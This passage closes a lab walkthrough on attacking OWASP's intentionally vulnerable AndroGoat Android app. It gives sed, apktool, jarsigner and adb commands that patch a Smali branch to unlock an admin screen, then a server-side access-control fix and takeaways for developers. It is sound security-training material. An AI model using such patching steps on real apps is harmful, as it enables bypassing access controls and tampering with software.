sed -i 's/if-eqz v2, :cond_0/if-nez v2, :cond_0/' \
AndroGoat_decoded2/smali_classes2/owasp/sat/agoat/BinaryPatchingActivity.smali
None

Step 5 — Repack the APK:

java -jar apktool_new.jar b AndroGoat_decoded2 -o AndroGoat_patched2.apk
None

Step 6 — Sign the APK:

jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 \
-keystore my.keystore AndroGoat_patched2.apk mykeyalias
None
None

Step 7 — Uninstall original and install patched APK:

adb uninstall owasp.sat.agoat
adb install AndroGoat_patched2.apk
None

Step 8 — Open Binary Patching screen

None

Administration access granted.

Fix

Never rely on client-side boolean flags for access control:

// Never do this
private val isAdmin = false

// Instead - validate server-side
apiService.checkAdminAccess(userId, token)

Key Takeaway

Any logic inside an APK can be modified using Smali patching. Access control must always be enforced server-side — client-side checks are trivially bypassed by anyone with Apktool.

Conclusion

Android security is often underestimated. Developers assume that compiled code is unreadable, that client-side checks are enforceable, and that secrets buried inside an APK are safe. This walkthrough proves otherwise.

Every challenge in AndroGoat was broken using freely available tools — JADX, Frida, Apktool, and ADB. No zero-days. No advanced exploits. Just a decompiler, a runtime hook, and an understanding of how Android works under the hood.

The pattern was the same every time: open JADX, read the code, find the assumption the developer made, break it.

Hardcoded secrets were read directly from source. Plaintext credentials were pulled from SharedPreferences, SQLite, and temp files with a single ADB command. Root and emulator detection were bypassed in seconds with Frida. Client-side access control was flipped with a one-line Smali patch.

None of these attacks required sophistication. They required knowledge.

For developers, the takeaways are clear:

  • The APK is public. Treat everything inside it as readable by anyone.
  • Client-side security controls are speed bumps, not walls.
  • Secrets belong on servers, not in source code.
  • Sensitive data must be encrypted at rest, always.
  • Trust nothing from the client. Validate everything server-side.

Security is not a feature you add at the end — it is a mindset you build with from the start. AndroGoat exists to make these lessons painfully clear before a real attacker does.

All testing was performed on an intentionally vulnerable application in a controlled lab environment for educational purposes only.